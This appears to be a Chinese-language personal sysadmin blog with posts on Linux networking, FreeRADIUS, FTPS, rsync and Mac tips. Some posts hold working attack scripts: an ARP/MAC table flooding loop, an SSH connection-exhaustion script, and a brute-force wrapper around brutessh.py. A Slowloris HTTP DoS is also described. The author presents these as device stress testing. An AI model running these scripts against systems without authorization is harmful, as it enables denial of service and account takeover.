How to be a Multicast Video stream Server in Linux

透過VLC這套軟體，可以在Linux建立支援multicast的媒體串流播放器，以下簡單的記錄IPv4與IPv6的建立與播放的方法：

1. IPv4:
- 切換至non-root user.
- 開啟console.
- 執行以下的命令：
vlc -vvv 111755131.mov -L --sout '#duplicate{dst=rtp{mux=ts,dst=239.1.1.1,port=5004,sdp=sap://,name="TestStream"}}'

111755131.mov 是欲播放的檔案。
239.1.1.1 with port 5004 是multicast的IPv4 address與port number.


2. IPv6:
步驟跟IPv4都一樣，只是將IP改成v6的格式如下:
vlc -vvv 111755131.mov -L --sout '#duplicate{dst=rtp{mux=ts,dst=[ff08::114],port=5004,sdp=sap://,name="TestStream"}}'


VLC Client:
- IGMP v2: Media::Open Network Stream:: rtp://@239.1.1.1:5004

- IGMP v3: Media::Open Network Stream:: rtp://10.10.10.10@239.1.1.1:5004

- MLD: Media::Open Network Stream:: rtp://@[ff08::114]:5004

Set IGMP version in Windows

Latency when displaying a live RTP stream

帽客的愛車 VW Tiguan

Tiguan結合了Tiger與Lguana -> OSX+OpenSUSE? 所以我對它情有獨鍾 :) 別來亂了，這台車是我老婆選的。但是它真的是台好車唷！

OpenSUSE 12.2正式發行！

OpenSUSE 12.2已經可以開始下載囉！以下是這一版本的release note.

OpenSUSE 12.2 發行公告

還有三天！OpenSUSE12.2要來囉！

緊接著Fedora17，還剩三天OpenSUSE 12.2就要釋出囉！話說我也好久沒有更新我的Blog了.......唉唉唉～

Free memory on Mac OSX

公司的MacBookPro很少重新開機，想當然耳系統日以繼夜的運行，當開啟新的APP時，會覺得有點卡卡的，以往習慣用MemoryFree2這套APP去清理"inactive"的memory，但是其實用一個command就可以達成了，實作如下：

MBP:~ lawrence$ sync && purge

搞定，收工。

How to configure FreeRADIUS2.x support EAP-TLS under Linux?

延續上篇How to configure FreeRADIUS2.x support EAP-TTLS under Linux?
現在只要再產生client端要使用的certificate並且把ROOTCA與ClientCA匯入到client端，就可以使用EAP-TLS了，整個步驟如下:

Step1: MAKING A CLIENT CERTIFICATE

  Client certificates are used by EAP-TLS, and optionally by EAP-TTLS
and PEAP.  The following steps outline how to create a client
certificate that is signed by the server certificate created above.
You will have to have the password for the server certificate in the
"input_password" and "output_password" fields of the server.cnf file.

$ vi client.cnf
  Edit the "input_password" and "output_password" fields to be the
  password for the client certificate.  You will have to give these
  passwords to the end user who will be using the certificates.
  Edit the [client] section to have the correct values for your
  country, state, etc.  Be sure that the commonName field here is
  the User-Name that will be used for logins!
$ make client.pem
  The users certificate will be in "emailAddress.pem",
  i.e. "user@example.com.pem".
  To create another client certificate, just repeat the steps for
  making a client certificate, being sure to enter a different login
  name for "commonName", and a different password.

Step2: IMPORT ROOTCA, and Client Certificate/以Fedora16為例:

- 安全性: WPA&WPA2 Enterprise
- 驗證: TLS
- 識別: commonName
- CA: ca.pem
- 私密金鑰: client.p12
- 私密金鑰密碼: "input_password" and "output_password"

Note: ca.pem and client.p12是產生ROOTCA與Client Certificate時所一併產生的，所在的目錄是/etc/raddb/certs/

That's all.

How to configure IPv6 Router advertisement Daemon under Linux?

在此簡單記錄一下如何在Redhat/Fedora下透過Router advertisement Daemon(radvd)自動分派IPv6的IP address.

Step1: 設定Kernel參數 for IPv6 support

net.ipv6.conf.all.forwarding = 1
net.ipv6.conf.all.autoconf = 0

Step2: 設定系統支援IPv6

# vi /etc/sysconfig/network
......
NETWORKING_IPV6=yes
......

Step3: 安裝radvd

# yum install radvd

Step4: 設定radvd.conf

# vi /etc/radvd.conf
interface eth1
{
AdvSendAdvert on;
MinRtrAdvInterval 30;
MaxRtrAdvInterval 100;
        AdvOtherConfigFlag on;
prefix 3001:288::/64
{
AdvOnLink on;
AdvAutonomous on;
AdvRouterAddr on;
};
};

Step5: 啟動radvd

# /etc/init.d/radvd start; chkconfig radvd on

How to configure FreeRADIUS2.x support EAP-TTLS under Linux?

If you would like to make FreeRADIUS 2.x support EAP-TTLS, then following steps outline how to configure it:

1. Re-generate Root CA/Server certificate:

# cd /etc/raddb/certs
# rm -f ca.der ca.key ca.pem
# rm -f server.crt server.csr server.key server.p12 server.pem

2. Make Root CA:

# vi ca.cnf
  Edit the "input_password" and "output_password" fields to be the
  password for the CA certificate.
  Edit the [certificate_authority] section to have the correct values
  for your country, state, etc.
# make ca.pem
  This step creates the CA certificate.
# make ca.der
  This step creates the DER format of the self-signed certificate,
  which is can be imported into Windows.

3. MAKING A SERVER CA:

# vi server.cnf
  Edit the "input_password" and "output_password" fields to be the
  password for the server certificate.
  Edit the [server] section to have the correct values for your
  country, state, etc.  Be sure that the commonName field here is
  different from the commonName for the CA certificate.
# make server.pem
  This step creates the server certificate.
  If you have an existing certificate authority, and wish to create a
  certificate signing request for the server certificate, edit
  server.cnf as above, and type the following command.
# make server.csr
  You will have to ensure that the certificate contains the XP
  extensions needed by Microsoft clients.

4. To modify client configuration directives in /etc/raddb/clients.conf

client 10.10.0.0/16 {
        secret          = testing123
        shortname       = private-network-2
}

5. To modify EAP type in /etc/raddb/eap.conf

default_eap_type = ttls
....
ttls {
                default_eap_type = mschapv2
                copy_request_to_tunnel = yes
                use_tunneled_reply = yes
                #virtual_server = "inner-tunnel"
}
....

6. To add user in /etc/raddb/users

lawrence Cleartext-Password := "testing"

7. To disable MPPE in /etc/raddb/modules/mschap

        use_mppe = no

8. Restart FreeRADIUS:

# /etc/init.d/radiusd restart

That's all.

How to configure DHCP Server prefer broadcast response all the time under Linux?

上篇Configure Windows7 prefer DHCP unicast or broadcast response，說明了可更改OS的設定，然而有一種情況是DHCP Server說了算！也就是說DHCP Server可以不管DHCP client原本的預期，而一律採用broadcast的方式回應，在dhcpd中，只要加一筆參數就可以了。

# vi /etc/dhcpd.conf
.....

always-broadcast on;

......

修改後，記得restart dhcpd。

# /etc/init.d/dhcpd restart

BTW, Windows7預設prefer broadcast response，WindowsXP則是unicast response，而一般的linux distro.同樣也是unicast。

How to send Gratuitous ARP request/reply via arping under Linux

What's Gratuitous ARP:
http://wiki.wireshark.org/Gratuitous_ARP

How?
1. GARP request:

 # arping -U 10.10.10.100 -I eth0
  -U : Unsolicited ARP mode, update your neighbours
  -I device : which ethernet device to use (eth0)

2. GARP reply:

 # arping -A -U 10.10.10.100 -I eth0
  -A : ARP answer mode, update your neighbours

Virtual file system in Linux

如果你想要在Linux系統中從一個既有的partition去虛擬另一個partition的話，Virtual file system是一個蠻不錯的小技巧。

Step1. 建立一個空檔:

[root@localhost ruckus]# cd /tmp/

[root@localhost tmp]# dd if=/dev/zero of=vs_file bs=1M count=512

512+0 records in

512+0 records out

536870912 bytes (537 MB) copied，0.767225 秒，700 MB/s

Step2. 將空檔格式化成虛擬的檔案系統:

[root@localhost tmp]# mke2fs -j vs_file

mke2fs 1.39 (29-May-2006)

vs_file is not a block special device.

Proceed anyway? (y,n) y

Filesystem label=

OS type: Linux

Block size=1024 (log=0)

Fragment size=1024 (log=0)

131072 inodes, 524288 blocks

26214 blocks (5.00%) reserved for the super user

First data block=1

Maximum filesystem blocks=67633152

64 block groups

8192 blocks per group, 8192 fragments per group

2048 inodes per group

Superblock backups stored on blocks:

8193, 24577, 40961, 57345, 73729, 204801, 221185, 401409

Writing inode tables: done

Creating journal (16384 blocks): done

Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 21 mounts or

180 days, whichever comes first. Use tune2fs -c or -i to override.

Step3. 以一般掛載partition的方法掛載虛擬檔案系統:

[root@localhost tmp]# mount -o loop /tmp/vs_file /mnt/vf/

Step4. 驗證一下:

[root@localhost tmp]# mount | grep vs_file

/tmp/vs_file on /mnt/vf type ext3 (rw,loop=/dev/loop0)

[root@localhost tmp]# cd /mnt/vf/

[root@localhost vf]# ls

lost+found

[root@localhost vf]# touch test

[root@localhost vf]# ls

lost+found test

GNU Hurd kernel

孤陋寡聞，原來GNU原先預期搭載的kernel不是用Linux而是Hurd。

http://www.gnu.org/software/hurd/index.html

http://zh.wikipedia.org/wiki/Hurd

http://www.osnews.com/story/25724/Interview_Richard_Stallman

Configure Windows7 prefer DHCP unicast or broadcast response

預設上Windows7 Home edition是prefer DHCP Server回應的封包採用broadcast的方式，當然這也是可以更改為unicast的，做法很簡單，只要透過register table來更改就可以完成了。

Click Start->regedit->

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{GUID}

GUID這邊指的是對應到的NIC，可用wireshark來幫助查詢。

DhcpConnForceBroadcastFlag (0 or 1)

0 indicate unicast

1 indicate broadcast

Reference:

DHCP Broadcast flag handling in Windows 7

Low bandwidth HTTP attack: Slowloris

Low bandwidth HTTP attack與傳統的DoS反其道而行，採取的方法是用單一的機器只需少少的頻寬就可以讓HTTP Server癱瘓，其中最著名的就是Slowloris，他的原理簡單的來說是對HTTP Server送不出完全的HTTP request，並且試著讓它保持不被HTTP Server timeout，如此一來HTTP Server可開啟的最大socket數就會滿了，最後導致HTTP Server無法提供服務給其他機器。

Slowloris下載處

請勿以此工具攻擊別人，謝謝。

參考來源：

http://ha.ckers.org/slowloris/

http://news.softpedia.com/news/Web-Servers-in-Danger-from-Low-Bandwidth-HTTP-DoS-114745.shtml

http://en.wikipedia.org/wiki/Slowloris

ARP/MAC address flooding attack

在BT5結合arping測試工具，寫了一個簡單的script來測試目標主機可否hold得住ARP/MAC address flooding attack，script內容如下：

root@bt:~# cat bin/arp_cache.sh

#!/bin/bash

function arp_cache_attack

{

while true;

do

for((i=1;i<=100;i++))

do

mac=$(($RANDOM%10))

number1=$(($RANDOM%254))

number2=$(($RANDOM%254))

number3=$(($RANDOM%254))

number4=$(($RANDOM%254))

arping -S "$number1.$number2.$number3.$number4" -s 00:00:00:00:$mac:$mac 10.10.6.6 -c 1 &

done

sleep 1

kill `ps aux | grep -i arping | grep -v grep | awk -F" " '{ print $2 }'` 1>/dev/null

sync && echo "3" > /proc/sys/vm/drop_caches

echo "re-generate"

done

}

arp_cache_attack

此script每次會產生100筆隨機的假IP與MAC address去嘗試塞滿目標主機(10.10.6.6於以上script中)的arp table。

僅供個人研究，請勿以此script測試或攻擊別人的主機。

如何增加Linux arp cache entry

好文章，先收藏起來。

Linux: Neighbour Table Overflow Error and Solution

OSX 10.8 Mountain Lion~

你能相信嗎？OSX 10.8要發佈了！Lion真是史上最短的OSX。

http://www.apple.com/macosx/mountain-lion/

如何測試SSH Server可接受的未經授權的最大連線數?

寫了一個簡單的script如下，去做測試然而目前只支援Class C，可以改善的空間應該還不少。

#!/bin/bash

# Bind IP

read -p "Which interface? [eth0]: " INTERFACE

read -p "Net address: [10.10.10] " NETIP

read -p "Min IP address: [1] " MiIP

read -p "Max IP address:[254] " MaIP

for((i="$MiIP";i<="$MaIP";i++))

do

ip addr add "$NETIP"."$i"/24 dev $INTERFACE 1>/dev/null 2>1

done

echo ""

# Start to test

read -p "Target: [10.10.10.10] " TARGET

i=$MiIP

num=1

echo ""

echo "Preparing for test target: $TARGET"

sleep 5

while true;

do

ssh admin@$TARGET -o StrictHostKeyChecking=no -b "$NETIP"."$i" 1>/dev/null 2>1 &

sleep 1

netstat -an | grep 22 | grep ESTABLISHED | grep "\<$NETIP"."$i\>"

if [ `echo $?` -ne 0 ]; then

num=$(($num-1))

echo "The maximum SSH session of $TARGET is $num"

kill `ps aux | grep "\<22\>" | grep -v grep | grep -v ssh-agent | awk -F" " '{print $2}'` > /dev/null

break

else

echo "SSH session number $num is established!"

i=$(($i+1))

num=$(($num+1))

fi

done

exit

SSH Brute Force attack tools

Here it is: http://zeldor.biz/2011/01/how-to-bruteforce-ssh/

And I'v wrote a bash script to make it more easy to use as following:

1 #!/bin/bash

2

3 read -p "Please enter your target host: " HOST

4 echo "Enter run to launch SSH Brute Force Attack, or exit to leave it."

5

6 echo -n "[run/exit]? "

7 while read LINE;

8 do

9 if [ $LINE = "run" ]; then

10 clear

11 python /root/bin/brutessh/brutessh.py -h $HOST -u admin -d /root/bin/brutessh/passlist.txt &

12 sleep 10

13 echo -n "***** Enter exit can stop SSH Brute Force attack immediately or rerun it again. ***** [run/exit]? "

14 continue

15 elif [ $LINE = "exit" ]; then

16 kill `ps aux | grep brutessh.py | grep -v grep |awk -F" " '{ print $2 }'` 2> /dev/null

17 break

18 fi

19 done

Please to adjust /root/bin/brutessh/ above to work with your environment.

Thanks to Igor Drobot (http://zeldor.biz/about/ blog author) and laramies (brutessh author).

快速操作Gnome-shell

找到了一篇對於Gnome-shell不錯的鍵盤與滑鼠的快速操作說明，先收藏起來。

Gnome 3 Keyboard and Mouse Shortcuts

Synchronize files by rsync between two Linux hosts

有別於以往先手動交換主機間SSH的金鑰後再透過rsync於兩台主機間同步檔案，今天又學習到了一個新方法，在此稍做筆記。

需求：

將/var/www/html自動從HostA同步到HostB。

HostA: 10.10.2.126 (source)

HostB: 10.10.2.128 (destination)

Step:

1. 設定HostA(Destination)：

1.1 確定有安裝rsync:

[root@server1 ~]# rpm -qa | grep -i rsync

rsync-3.0.6-5.el6_0.1.i686

1.2 編輯/etc/xinetd.d/rsync：

service rsync

{

disable = no

flags = IPv6

socket_type = stream

wait = no

user = root

server = /usr/bin/rsync

server_args = --daemon

log_on_failure += USERID

}

1.3 建立/etc/rsyncd.conf：

# any name you like

[test]

# destination directory

path = /home/backup

# Hosts you allow to copy (specify source Host)

hosts allow = 10.10.2.126

hosts deny = *

list = true

uid = root

gid = root

read only = false

1.4 重新啟動xinetd

[root@server1 ~]# /etc/init.d/xinetd restart

正在停止 xinetd： [ 確定 ]

正在啟動 xinetd： [ 確定 ]

2. 設定HostB(Source)：

2.1 確定有安裝rsync:

[root@server1 ~]# rpm -qa | grep rsync

rsync-3.0.6-4.el5_7.1

2.2 執行rsync將檔案同步：

[root@server1 ~]# rsync -avz --delete /var/www/html/ 10.10.2.128::test

sending incremental file list

./

proxy.pac

proxy.pac.ipv4

proxy.pac.ipv6

wpad.dat -> proxy.pac

ssl/

ssl/index.hrml

sent 3089 bytes received 174 bytes 6526.00 bytes/sec

total size is 5039 speedup is 1.54

IP scanner on Mac OSX

發現了一套在Mac OSX下還算蠻簡單易用的IP scanner tool: Angry IP Scanner，雖然對於Mac OSX還在Beta階段，但是還算可用！

另外還有一套更好用IP scanner是由10base-t interactive開發，但是當然好用的代價就是請付點Coco.

Remove unnecessary language resources from Mac OS X

很多工具都可以幫忙刪除系統應用程式中用不到的語系，但是我覺得Monolingual是最簡潔輕巧的一款好工具，推薦給大家使用，官方只說支援到10.6但是我剛剛在10.7.2也運作得非常好，幫我省去了1.3G的空間。

PKC or OKC?

今天同事給了一個有關Wireless station roams時的行為討論，主要是在講到底什麼是PKC與OKC，實在是非常精闢的討論，故收藏起來，以供日後參考。

PKC or OKC?

簡單的定義：

Proactive Key Caching (PKC) or Opportunistic Key Caching (OKC) - In the 802.11i specification there is a suggestion towards WPA2 Pairwise Master Key ID (PMKID) caching. PKC/OKC is one interpretation of this suggestion. The station remembers the PMKID from its initial BSSID with which it associated and authenticated. When the client roams to another BSSID it uses the original PMKID and hashes it with the new BSSID and comes up with new keys. It needs a centralised controller to distribute the PMKID out to the AP's to make it all work.

X10 VS P7100

最近想買類單相機呀！找了一個table比較一下各家的spec，要不是X10在資訊會價格硬又沒送東西的話，今天就會買了吧..... 看了一看P7100好像也不錯，省下來的錢還可以買一台3DS。

規格比較表：

http://jon6773.pixnet.net/blog/post/35554542-g12--x10-x100-p7100-xz-1-lx5-%E8%A6%8F%E6%A0%BC%E6%AF%94%E8%BC%83

RAMDisk tool on Mac OSX

現在的RAM比起以往便宜了許多，多餘的記憶體空間若空閒在那邊的確是有點可惜，把RAM當disk使用不論在Linux或是Windows上都有相對應的方法與工具，當然Mac上也是有的，最簡單的工具首推TmpDisk，怎麼設定呢？那真是簡單到不行呀，不用多說看下面的截圖您必定明白。

這邊也提供MacOSX手動產生RAMdisk的方法：

http://osxdaily.com/2007/03/23/create-a-ram-disk-in-mac-os-x/

最常用的就是將RAMdisk當成瀏覽器的快取，以下提供我用Google Chrome實作的步驟：

Step1. 透過TmpDisk產生RAMDisk，並且將Auto Create與Always start on login啟動。

Step2. 關閉Google Chrome。

Step3. 開啟OSX的終端機。

Step4. 將Chrome目前的快取目錄刪除。

rm -rf ~/Library/Caches/Google/Chrome/Default

Step5. 產生一個softlink將~/Library/Caches/Google/Chrome/Default連接到Step1產生的快取.

ln -s /Volumes/Chrome\ Cache/ ~/Library/Caches/Google/Chrome/Default

/Volumes/Chrome\ Cache/就是我透過TmpDisk產生的快取。

Configure Apache to use SSL on CentOS5.X

預設CentOS5.X啟動Apache時，https並沒有跟著被帶起來，其實只要裝上mod_ssl這個套件後，當下次重新啟動Apache時，就會自動打開https了，而其主要的配置檔案會自動產生於/etc/httpd/conf.d/ssl.conf檔案中。

這個方法固然快速，然而如果你想手動自己來的話還是可以的。

RuckusWireless TDC誠徵QA Engineer

敝公司目前有在找QA Engineer，有興趣的人不妨可以投履歷看看！

順便貼上一段當初看完影片後，讓我百分之百想進入RuckusWireless工作的影片，現在看起來還是很熱血。

http://www.youtube.com/watch?v=62-3m5N8X1g&feature=related

Tips: 找尋欲編輯的檔案內容並且直接開啟

[root@centos6 etc]# vi `find /etc/ | xargs grep "vsftpd.pem" | cut -d: -f1`

Explain:

1. 在/etc folder透過find指令尋找全部的檔案。

2. 透過xargs將pipe前的stdout轉變成餵給grep的參數。

3. 透過cut指令做簡單的filter。

4. 將`find /etc/ | xargs grep "vsftpd.pem" | cut -d: -f1`看成一個指令的輸出，餵給vi。

Tips: 查看user屬於那一個group

傳統的方法是透過/etc/group的文檔來查看user屬於哪一些group。

[root@centos6 ~]# cat /etc/group | grep root

root:x:0:root

bin:x:1:root,bin,daemon

daemon:x:2:root,bin,daemon

sys:x:3:root,bin,adm

adm:x:4:root,adm,daemon

disk:x:6:root

wheel:x:10:root

其實可以透過groups指令來查詢的。

[root@centos6 ~]# groups root

root : root bin daemon sys adm disk wheel

[root@centos6 ~]#

於CentOS6架設FTP-SSL

如果要在Internet上開放FTP的服務給使用者使用，比較安全的做法有SFTP與FTPs，但是SFTP必需也要開放sshd，萬一OpenSSH存在系統漏洞的話，整個系統是很容易受到攻擊的！所以FTPs看起來是比較安全的應用，以下便簡單記錄怎麼在CentOS6中透過vsftpd架設FTPs。

Steps:

1. 檢查vsftpd是否有支援ssl:

[root@centos6 ~]# ldd `which vsftpd` | grep ssl

libssl.so.10 => /usr/lib/libssl.so.10 (0x00af1000) -> 看到libssl則代表有支援。

2. 產生vsftpd所需要的憑證:

[root@centos6 ~]# cd /etc/pki/tls/certs/

[root@centos6 certs]# make vsftpd.pem

[root@centos6 certs]# cp -a vsftpd.pem /etc/vsftpd/

3. 設定vsftpd.conf:

anonymous_enable=YES

local_enable=YES

write_enable=YES

local_umask=022

dirmessage_enable=YES

xferlog_enable=YES

connect_from_port_20=YES

xferlog_file=/var/log/vsftpd.log

xferlog_std_format=YES

chroot_local_user=YES

chroot_list_enable=YES

chroot_list_file=/etc/vsftpd/chroot_list ->注意！必需要手動產生一個chroot_list的空檔

listen=YES

pam_service_name=vsftpd

userlist_enable=YES

tcp_wrappers=YES

ssl_enable=YES

allow_anon_ssl=NO

force_local_data_ssl=YES

force_local_logins_ssl=YES

ssl_tlsv1=YES

ssl_sslv2=NO

ssl_sslv3=NO

rsa_cert_file=/etc/vsftpd/vsftpd.pem

這邊附上vsftpd的man page。

4. 啟動vsftpd

[root@centos6 vsftpd]# /etc/init.d/vsftpd restart

正在關閉 vsftpd： [ 確定 ]

正在啟動 vsftpd 中的 vsftpd： [ 確定 ]

[root@centos6 vsftpd]#

5. 在OSX透過Cyperduck測試:

5.1 設定連線為FTP-SSL

5.2 輸入FTP Server的IP address，系統會警告一個不被信任的憑證，當然此憑證是我剛剛產生的，所以要信任它囉:

大功告成！

透過網路安裝RHEL6

其實做法跟RHEL5一樣，只是與RHEL5不同的是開機時沒有boot:的提示，以下透過CentOS6簡單演練一下：

Steps:

1. 放入CentOS6的開機光碟，但是與RHEL5不一樣的是沒有boot:的提示，取而代之的是grub直接帶出以下的選項：

2. 按下ESC帶出boot: 並且輸入linux askmethod叫系統帶出安裝的方法。

3. 選擇語系：

4. 選擇鍵盤的配置：

5. 選擇安裝的方法，此例子選擇來源為NFS Server：

6. 設定IP address:

7. 設定NFS Server:

8. 之後anaconda就可以順利啟動了：

在Linux中可媲美foobar的播放器: DeadBeef

如果對聽音樂很注重"品質"的朋友一定聽說過foobar2000這套軟體，小弟不才是經過公司同事的介紹後才認識到它，但是瘋狂帽客真的不是叫假的，我是很不習慣使用Windows的使用者，於是今天想找看看有沒有可媲美foobar2000的軟體，所幸GNU tools是有的，它叫做DeadBeef，死牛？喔喔～這名稱有點可怕哩，一開始以為是教你怎麼把一隻活生生的牛處理掉了...... 忽然想到LPIC封面的那隻牛 XD。

經過實測，把檔案放到ramdisk透過deadbeef來聽，感覺上真的有比Rhythmbox帶給我更不同的感受，以下列出我的測試設備/條件：

1. 作業系統: OpenSUSE 11.4 X86_64

2. 耳機: AKG K514

3. Deadbeef: 0.5.1-1

說說看如何安裝Deadbeef到OpenSUSE 11.4吧。

1. 至Packman搜尋deadbeef(http://packman.links2linux.org/package/deadbeef/251257)

2. 安裝libzip.so.1()(64bit): # zyppe in libzip.so.1\(\)\(64bit\)

3. 安裝deadbeef: # rpm -ivh deadbeef*rpm

接下來就把音樂檔案放到/dev/shm(ramdisk)中透過Deadbeef來播放看看吧！

Steve Jobs Dies

今天世界痛失了一位不斷改變人們生活習慣的天才Steve Jobs(1955-2011)...

Upgrade CentOS6 to CentOS6.x

RHEL6.1已經出來一陣子了, 但是CentOS似乎沒有趕上? 一直停留在6.0, 我們該懷疑CentOS不再繼續提供更新了嗎? 喔~不! CentOS team還是有持續努力的! 只要裝上一個extra repository就可以將CentOS6.0升級到CentOS6.1了.

Steps:

# yum install centos-release-cr

# yum update

強烈建議每位CentOS users一定要裝上這個extra repository才能繼續讓你的CentOS6頭好壯壯.

檢查MacOSX的partition layout

MacOSX沒有fdisk的指令，但是還是有類似的指令的，其指令如下：

# diskutil list

/dev/disk0

#: TYPE NAME SIZE IDENTIFIER

0: GUID_partition_scheme *160.0 GB disk0

1: EFI 209.7 MB disk0s1

2: Apple_HFS Macintosh 60.2 GB disk0s2

3: Apple_HFS Data 99.4 GB disk0s3

/dev/disk1

#: TYPE NAME SIZE IDENTIFIER

0: *8.0 GB disk1

/dev/disk2

#: TYPE NAME SIZE IDENTIFIER

0: Garmin-Asus *3.3 GB disk2

話說diskutil還真是MacOSX下的好工具呀！

Linux上的網路流量監控程式iftop

在Linux上我常使用iptraf去監控本機的網路流量，然而今天又發現到了另一套簡單而有用的程式也可以在Linux上監控流量，它叫做iftop

以下是在CentOS6中的安裝與使用：

1. 抓取source:

# wget ftp://rpmfind.net/linux/dag/redhat/el6/en/i386/dag/RPMS/iftop-0.17-1.el6.rf.i686.rpm

(這是i386的版本 for CentOS6)

2. 安裝:

# rpm -ivh iftop*

3. 使用:

# iftop

。

4. 加上-P，顯示port number:

More parameters:

[root@centos6 ~]# iftop -h

iftop: display bandwidth usage on an interface by host

Synopsis: iftop -h | [-npbBP] [-i interface] [-f filter code] [-N net/mask]

-h display this message

-n don't do hostname lookups

-N don't convert port numbers to services

-p run in promiscuous mode (show traffic between other

hosts on the same network segment)

-b don't display a bar graph of traffic

-B Display bandwidth in bytes

-i interface listen on named interface

-f filter code use filter code to select packets to count

(default: none, but only IP packets are counted)

-F net/mask show traffic flows in/out of network

-P show ports as well as hosts

-m limit sets the upper limit for the bandwidth scale

-c config file specifies an alternative configuration file

iftop, version 0.17

copyright (c) 2002 Paul Warren and contributors

[root@centos6 ~]#

Iperf under IPv6 mode

Prepare Iperf version 1.6.3 or later.

Server side:

iperf -s -V

Client side:

iperf -c [IPv6 IPaddress] -V

That's all.

BackTrack Linux 5

從事資安相關領域的人員應該有聽說過BackTrack這套Linux distro吧? 這套整合針對網路設備與系統偵測的各種資安與壓力測試工具的Linux distro的確替我省去了很多找尋與安裝軟體的時間, 目前BT5有for i386, x86_64與ARM的版本, 於download時可以選擇你偏好的desktop, VM image or ISO.

BT是based on Ubuntu, 所以使用起來沒有太大的難度, 剩下的就是針對各個軟體學習如何使用了.

我常用的hping2, hping3, Nessus, nmap, netcat, tcpreplay, tcpdump, wireshark...等等都有內建於其中, 然而還有更多工具是我沒用過的, BT果然是一套好的distro來測試網路設備或系統漏洞, 但是若拿它來做非法的事情, 可就不是我推薦的了.

RHEL6 Clone distro

除了CentOS外, 目前還有兩套頗受好評的Red Hat clone版 , 分別是Oracle Linux與Scientific Linux, 目前這兩套distro都已經release 6.1的clone版本了, 老牌的CentOS目前只有追到6.0.

Linux Kernel 3.0 has been released!

Linux Kernel 3.0釋出了, 請到www.kernel.org瞧瞧吧! Linux發展至今雖然在Desktop的應用上還是有所欠缺, 但是在Server, Smartphone, 高速運算, Embedded System上卻是多有斬獲! 因此讓我們繼續朝向Linux Kernel 3.0前進吧!

Linux 3.0 change log

How to fix Wireshark no interfaces error on OSX

That's simple, please see it below:

# sudo chown username /dev/bpf*

CentOS 6.0 now available

經過漫長的等待(Since November of 2010)，CentOS終於release 6.0了，必需給它一個讚。

The CentOS team is pleased to announce the immediate availability of CentOS-6.0 for i386 and x86_64 Architectures.

CentOS-6.0 is based on the upstream release EL 6.0 and includes
packages from all variants. All upstream repositories have been combined into one, to make it easier for end users to work with.

There are some important changes to this release compared with the previous versions of CentOS and we highly recommend reading this announcement along with the Release Notes.

There are no CD images being released with CentOS-6, however we have some CD variants in the pipeline.

Since upstream has a 6.1 version already released, we will be using a Continous Release repository for 6.0 to bring all 6.1 and post 6.1 security updates to all 6.0 users, till such time as CentOS-6.1 is released itself.

LiveCDs and LiveDVDs for i386 and x86_64 will be released the
next few days. These will bring in the ability to directly install from the live media.

There will also be a minimal install CD, that would bring up a base
machine with just enough content to have a usable platform.

In order to bring back the CentOS-4 Server CD style single iso image, an LWS variant of the main distro will be created.

And now: Have fun.

How to disable DNS service on dnsmasq

其實只要在啓動dnsmasq時, 多加一個參數就可以了：

"--port=0" It means Listen on instead of the standard DNS port (53). Setting this to zero completely disables DNS function, leaving only DHCP and/or TFTP.

To configure Squid/WPAD supports IPv6 on RHEL6

首先你必須知道如何在RHEL6下配置IPv6的環境, 你可以參考以下的文章來設定：

Red Hat / CentOS IPv6 Network Configuration

至於什麼是WPAD, 以及如何設定WPAD則可參考以下文章：

http://en.wikipedia.org/wiki/Web_Proxy_Autodiscovery_Protocol

再來開始設定Squid/WPAD支援IPv6:

1. Prepare: Squid 3.1 on RHEL6 because it supports IPv6 by default, otherwise you need to upload IPv6 patch to Squid 2.x version.

2. Configure IPv6 in Squid 3.1:
In /etc/squid/squid.conf:
- Add IPv6 localnet:
acl localnet src 3001:288::/64 # Add your IPv6 subnet in here.
- Allow localnet:
http_access allow localnet
-Restart Squid:
# /etc/init.d/squid restart; chkconfig squid on

3. Configure DNS supports IPv6 query:
In Zonefile:
wpad IN AAAA 3001:288::1 # This is a Web Server which save WPAD file.
proxy IN AAAA 3001:288::2 # This is a Proxy Server.

4. Configure WPAD file:
function FindProxyForURL(url, host) {

if (host == "localhost" ||
host == "localhost.localdomain" ||
host == "127.0.0.1" || host == "[3001:288::3]" || host == "10.10.2.2" ) {
return "DIRECT";

// Requests to localhost, 3001:288::3, and 10.10.2.2 will not redirect to proxy

}
// All other requests go through the local squid proxy
return "PROXY proxy.example.com:8080; DIRECT";
}

That's all.

Monit on OpenSUSE

Monit可以偵測本機的某些服務，當有異常時，可以透過它重新啟動daemon，以下是實作在OpenSUSE的系統上。

1. 安裝monit:

# zypper in monit

2. 編輯設定檔/etc/monitrc:

Unmark:
## Start monit in the background (run as a daemon) and check services at
## 2-minute intervals.
#
set daemon 60 <- 我把它改成1分鐘。

3. 新增偵測sshd daemon:

- 開啟/etc/monitrc並新增偵測sshd的設定:
check process sshd with pidfile /var/run/sshd.init.pid <- 注意這個檔案名稱是否與你的系統吻合
start program = "/etc/init.d/sshd start"
stop program = "/etc/init.d/sshd stop"
if failed host 127.0.0.1 port 22 protocol ssh then restart

4. 啟動monit:

# /etc/init.d/monit start
# chkconfig monit on

5. 測試:

- 手動將sshd stop:
# /etc/init.d/sshd stop
- 開始monitor:

suse:/var/run # /etc/init.d/sshd stop

Shutting down SSH daemon done

suse:/var/run # while true; do /etc/init.d/sshd status; sleep 1; done

Checking for service sshd unused

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It just works!

Reference: http://cha.homeip.net/blog/2011/06/3134.html

於RHEL6配置Log receive server

RHEL6預設的log server由syslog改換成rsyslog，於是乎以往RHEL3/4/5的配置方法可能已經不適用了（也許有人還是習慣用syslog，那麼方法應該就一樣），不過不用擔心萬變不離其宗正是Linux的教條，只要理論有了，配置不過是理論的實現罷了，以下就簡單的說明一下怎麼改變吧。

1. Enable UDP port 514:

rsyslog預設上把port 514關掉了，請手動將它打開。

- Configure /etc/rsyslog.conf:
Unmark UDP syslog:
$ModLoad imudp.so
$UDPServerRun 514

- Restart rsyslog:
# /etc/init.d/rsyslog restart

2. 檢查UDP port 514已開啟:

[root@rhel6 ~]# netstat -tupln | grep 514
udp 0 0 0.0.0.0:514 0.0.0.0:* 2713/rsyslogd
udp 0 0 :::514 :::* 2713/rsyslogd

3. 配置允許接收對方的log events:

# vi /etc/rsyslog.conf to receive log from remote machine:
:fromhost-ip,isequal,"X.X.X.X" /var/log/test1_log

X.X.X.X -> remote IP address

- Restart rsyslog:
# /etc/init.d/rsyslog restart

4. 建立logrotate:

# vi /etc/logrotate.d/test1
/var/log/test1.log{
size +4096k #Trigger logrotate when file size more than 4096k
create 640 root root # File owner and permission
rotate 10 #maximum logrotate
compress
postrotate #restart rsyslog after trigger logrotate
